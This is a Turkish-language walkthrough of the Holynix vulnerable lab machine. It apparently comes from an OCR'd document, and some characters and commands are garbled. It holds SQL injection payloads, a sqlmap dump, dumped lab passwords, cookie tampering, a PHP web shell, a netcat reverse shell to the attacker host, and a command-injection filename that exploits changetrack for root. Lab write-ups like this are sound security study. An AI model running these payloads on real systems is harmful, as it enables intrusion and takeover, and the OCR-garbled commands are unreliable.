Holynix'i buradan indirebilirsiniz_http://sourceforge.net/projects/holynix/.Vmware'de agarken
“moved it” secilmeli. Eger virtualbox kullaniliyor veya “moved it” se¢ilmesine ragmen holynix
ip adresi almiyorsa baska bir sistem ile disk mount edildikten sonra /etc/shadow dosyast agilip
root sifresi silinerek sifresiz giris yapilabilir. Giris yapildiktan sonra “dhclient eth1” komutuyla
ip almasi saglanabilir.

1) Vmware'de Holynix'in ag adaptoriinii host only olarak ayarladiktan sonra saldirgan ip adresini
ogrenme:

# ifconfig vmnetl

Link encap:Ethernet HWaddr 00:30:16:¢3:07:22

inet addr:192.168.60.1 Bcast:192.168.60.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:fec0:1/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:23 errors:0 dropped:0 overruns:0 frame:0

TX packets:35 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

2) Holynix'in ip adresini 6grenme:

# nmap -sn 192.168.60.0/24

Nmap scan report for 192.168.60.1

Host is up.

Nmap scan report for 192.168.60.128

Host is up (0.000096s latency).

Nmap scan report for 192.168.60.254

Host is up (0.000045s latency).

Nmap done: 256 IP addresses (3 hosts up) scanned in 34.67 seconds

3) Calisan isletim sistemini, servisleri, agik portlari tespit etme:

# nmap -sS -T4 -A 192.168.60.128

Nmap scan report for 192.168.60.128

Host is up (0.00037s latency).

Not shown: 999 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
| http-title: Site doesn't have a title (text/html).

MAC Address: 00:0D:29:5C:D6:4E (VMware)

Device type: general purpose

Running: Linux 2.6.X


http://sourceforge.net/projects/holynix/

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.24 - 2.6.25

Network Distance: 1 hop
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4) Hata verdirerek ise yarar bilgi elde etme:

http://192.168.60.128/?page=login.php adresindeki name ve password degerleri olarak tek tirnak
(") girildiginde asagidaki hata mesaj1 goziikecektir:

SQL Error:You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near " at line 1
SQL Statement:SELECT * FROM accounts WHERE username="\" AND password=""

Bu hata mesajindan hangi dbms'in kullanildig1 ve sorgunun ne oldugu bilgisi elde edilir. Ayrica
SQL Statement'a bakildiginda, username'deki tirnak isaretinin basina kagis karakteri koyuldugu
ama password i¢in bu islemin yapilmadigi goziikiiyor. ;)

5) DBMS'ten veri ¢ekmek:

Aslinda gerek yok ama istenirse sqlmap ile dbms kayitlarininin hepsi olduk¢a hizli bir sekilde
indirilebilir (biitiin veritabanlari, tablolar, siitunlar ve satirlar):

# sqlmap -u 'http://192.168.60.128/?page=login.php' --forms --thread=8 --dbms=MySQL
--batch —dump-all -v0

6) Kullanic1 girisi yapma:

Elde edilen bilgiler arasinda kullanic1 adlar1 ve parolalar1 da bulunuyor. Buradaki kullanicilarin
her hangi bir tanesi ile giris yapilabilir.

ot - - -
| cid | upload | username | password |

ot - - -
0 | alamo | Th@cK3dM1cRO50F7 |

1 | etenenbaum | P3n7@g0n0OwN3d |

1 | gmckinnon | d15¢cLOsuR3Pr0J3c7 |

1 | hreiser | Ik1LI3dNiN@r315er |

1 | jdraper | pl@yIngW17hPhOn35 |

1 |jjames | @rR35t3D@716 |
1
1
0
|

| jljohansen | m@k1nGb0o7L3g5 |
| kpoulsen | wWH@7ar37H3Fed5D01n |
| Itorvalds | f@7H3rOFL1nUX |
1 | mrbutler | n@SaHaSwOrMS |
| 1| rtmorris | Myd@d51N7h3NSA |
ot - - -

| 1
|2
|3
| 4
|5
| 6
| 7
| 8
|9
|1
| 1

|
|
|
|
|
|
|
|
|
0
1



http://192.168.60.128/?page=login.php

Ya da bu bilgiler kullanilmadan tablodaki ilk kullanici “alamo” olarak giris yapilabilirdi:
username: deneme
password: ' or 1=1#

7) Yetki dis1 islem yapma:

Tablodaki ilk kullanic1 “Alamo” olarak girig yaparken gonderilen istege karsilik olarak donen
cevabin bagliklarina bakildiginda:

HTTP/1.1 200 OK

Date: Fri, 18 Nov 2011 18:31:56 GMT

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
X-Powered-By: PHP/5.2.4-2ubuntu5.12

Set-Cookie: uid=1

Content-Length: 1076

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

Cookie olarak uid=1 verildigi goziikiiyor. Yapilan islemlerde sadece bu cookie degerine gore
yetkilendirme yapildig1 goriilecektir. Dolayisiyla, sadece alamo ile giris yapilabilir olsaydi bile,
istek gonderilirkenki uid degeri degistirilerek “kullanic1 yetkisi” arttirilabilirdi. Ornegin;
alamo'nun upload yetkisi yok ama dosya gonderme sirasinda burp proxy gibi bir yazilimla araya
girip uid=1 degerini uid=11 olarak degistirince dosya upload edilebiliyor. Burada aslinda
alamo'nun yetkileri arttirilmiyor, upload yetkisi olan bagka bir kullanic1 olarak (rtmorris) dosya
upload ediliyor.

8) Shell dosyasi yiikleme:

Oncelikle icerigi <?php system($_REQUEST['ecmd']); ?> olan shell.php dosyasinin izinleri
uzaktan erigilmeye uygun olmali:

# chmod 644 shell.php

#Is -1 shell.php

-TW-T—T--

Yiiklenen dosyanin izinlerinin degistirildigi, hem yilikleme sonrasinda hem de erisilmeye
calisildiginda ¢ikan mesajdan anlasiliyor.

Yiikleme sonrasi:
The ownership of the uploaded file(s) have been changed accordingly.

Erisilmeye calisildiginda:
You don't have permission to access /~rtmorris/shell.php on this server.

Bu durumda shell.php dosyasinin yiiklenmesi ise yaramayacaktir. Ancak upload sayfasinda “gzip



arsivlerini otomatik olarak ¢ikar” seceneginin oldugu goziikiiyor. Eger sadece upload edilen
dosyanin izinleri degistiriliyorsa, sikigtirilan dosya otomatik olarak dizine ¢ikartildiginda erisim
saglanabilir. Dosyay1 sikigtirmak i¢in:

# tar czvf shell.tar.gz shell.php

Eger dosya upload edildiginde shell.php dosyasi dizine ¢ikartilmadiysa Content-Type baslig1
application/x-gzip olarak gonderiliyor olabilir. Sorunu agmak i¢in burp-proxy gibi bir aragla
araya girerek bu basligin degerini application/gzip olarak degistirmek gerekir.

9) Shell.php dosyasinin dizine ¢ikartildigindan emin olduktan sonra erisilebilirligi kontrol
edilmeli:

http://192.168.60.128/~rtmorris/shell.php

Warning: system() [function.system]: Cannot execute a blank command in
/home/rtmorris/shell.php on line 2

Shell'e uzaktan erisilebildigi onaylanmis oldu. Komut ¢alistirmak i¢in:
http://192.168.60.128/~rtmorris/shell.php?cmd=KOMUT

Upload edilen shell root yetkilerinde komut calistiramaz. Ornegin cat komutu ile /etc/passwd
dosyasinin igerigi goriintiilenebiliyorken /etc/shadow dosyasi goriintiilenemez.

10) Root olma:

http://192.168.60.128/index.php?page=messageboard.php adresinde gecen konugmalara
bakildiginda:

jjames:(2011-11-17 07:06:25)

I'm having problems connecting to the ssh server. I keep getting a Connection refused error. Is
there a problem I don't know about???

Itorvalds:(2011-11-17 08:03:15)

Check your email. There is no problem with the server or the system. As of late we have been
experiencing an increased occurance of brute force attacks on our ssh server. In an attempt to
stop this we have implemented a port knocking system using knockknock. A seperate profile has
been generated for each user of this system. You will, however, need to install knockknock on
your local system. It can be downloaded_here or from_
http://www.thoughtcrime.org/software/knockknock/. If you have any problem with installation or
getting knockknock to work just drop me an email or ask here.

jdraper:(2011-11-17 19:54:31)

I've got knockknock installed but I'm not exactly sure what to do with the profile.tar.gz file I got
in the mail, could anyone help me out?

Itorvalds:(2011-11-18 08:04:51)

First create a knockknock dir in your home dir with 'mkdir ~/.knockknock/', then create a folder
inside the .knockknock dir called either the ip of this machine or the domain. I use 'mkdir
~/.knockknock/nakimura.example.net'. Finally extract the tarball you recieved in the mail to that
directory.



http://www.thoughtcrime.org/software/knockknock/
http://192.168.60.128/misc/knockknock-0.7.tar.gz
http://192.168.60.128/index.php?page=messageboard.php
http://192.168.60.128/~rtmorris/shell.php?cmd=KOMUT
http://192.168.60.128/~rtmorris/shell.php?cmd=KOMUT
http://192.168.60.128/~mrbutler/sel.php

Kisacasi ssh sunucusuna knockknock uygulamasi ile baglanilabilecegi bilgisi elde edilir._

http://www.thoughtcrime.org/software/knockknock/ adresine kurulum ve konfigiirasyon bilgileri

i¢in bakilabilir.

e Uygulamay1 messageboard.php  sayfasindaki linklerin birinden indir

: tar xzf knockknock-0.7.tar.gz ile ¢ikart.

: cd knockknock-0.7

: python setup.py install ile  yiikle

: Home dizinine .knockknock isimli klasor olustur.

: .knockknock dizini i¢inde ismi, hedef ip adresi ya da domain adi olan baska bir
klasor olustur.

e Bu klasoriin igine profil dosyalarini olustur. (cipher.key, config, counter,
mac.key )

Son asamay1 gerceklestirmek i¢in hedef makinada kullanici profillerinin bulundugu dizine
erismek gerekir. Kullanici olarak jljohansen secilmesinin nedeni daha sonra anlasilacaktir.

Saldirgan:

# nc -lvp 777

Tarayic1 ==> http://192.168.60.128/~rtmorris/shell.php?cmd=nc 192.168.60.1 777 -e
/bin/bash

Baglandiktan sonra:

# python -c "import pty;pty.spawn('/bin/bash')"
# cd /etc/knockknock.d/profiles/jljohansen

#ls

cipher.key config counter mac.key

# cat *

UXMI1EgLq5vRINB51PZKW9Q==

[main]

knock port = 13826

8

qCzJ6+yGFGoFO0q8939W3Q==

Konusmalara gecen diger bir uygulama ise changetrack:


http://192.168.60.128/~rtmorris/shell.php?cmd=nc%20192.168.60.1%20777%20-e%20/bin/bash
http://192.168.60.128/~rtmorris/shell.php?cmd=nc%20192.168.60.1%20777%20-e%20/bin/bash
http://www.thoughtcrime.org/software/knockknock/

Itorvalds:(2011-11-16 11:21:58)
Changetrack has been installed to keep track of changes made in development source code.
Hopefully we will have no further incidents.

Itorvalds:(2011-11-16 14:01:55)
No Adrian, there's no need to run changetrack manually. It's scheduled to run by itself every
five minutes

Changetrack uygulamasinin versiyonuna bakip internette kiigiik bir arastirma yaptiktan sonra
istismar kodu bulunur.

# changetrack -v
4.3

http://www.exploit-db.com/exploits/9709/

simdi yazma hakki1 olan bir dizin bulunmali:

#1s -1 /home

drwxrwxr-x 20 nobody developers 4096 2011-11-18 13:27 development

Developers isimli grubun yazma hakki1 olan bir dizin bulundu. Web sitesindeki bilgilerden de
tahmin edilebilecegi gibi kullanict hesabi olup bu gruba dahil olan alamo ve jljohansen var.
Bundan dolay1 bu iki kullanicidan biri ile giris yapilmali.

# su jljohansen

Password: m@k1nGb0o7L3g5

# cd /home/development

# touch "<\"nc -1 -p 7777 -e \$SSHELL\""

#ls

Konugmalardan, changetrack'in her 5 dakikada bir ¢alisacagi anlasiliyor. Yaklasik 5 dakika
bekledikten sonra

Saldirgan:

# knockknock -p 7777 192.168.60.128

# nc -v 192.168.60.128 7777

baglandiktan sonra:

# python -c "import pty;pty.spawn('/bin/bash')"

# whoami

root

Gortildiigii tizere ssh ile baglanmaya gerek yok ama istenirse asagidaki gibi baglanilabilirdi:
# knockknock -p 22 192.168.60.128

*#%* Success: knock sent.

# ssh jljohansen@192.168.60.128

The authenticity of host '192.168.60.128 (192.168.60.128)' can't be established.

RSA key fingerprint is 03:73:de:c7:17:96:0b:bb:8c:8e:c7:87:9b:5b:d5:cH.


http://www.exploit-db.com/exploits/9709/

Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.60.128' (RSA) to the list of known hosts.
jljohansen@192.168.60.128's password: m@k1nGb0o7L3gS



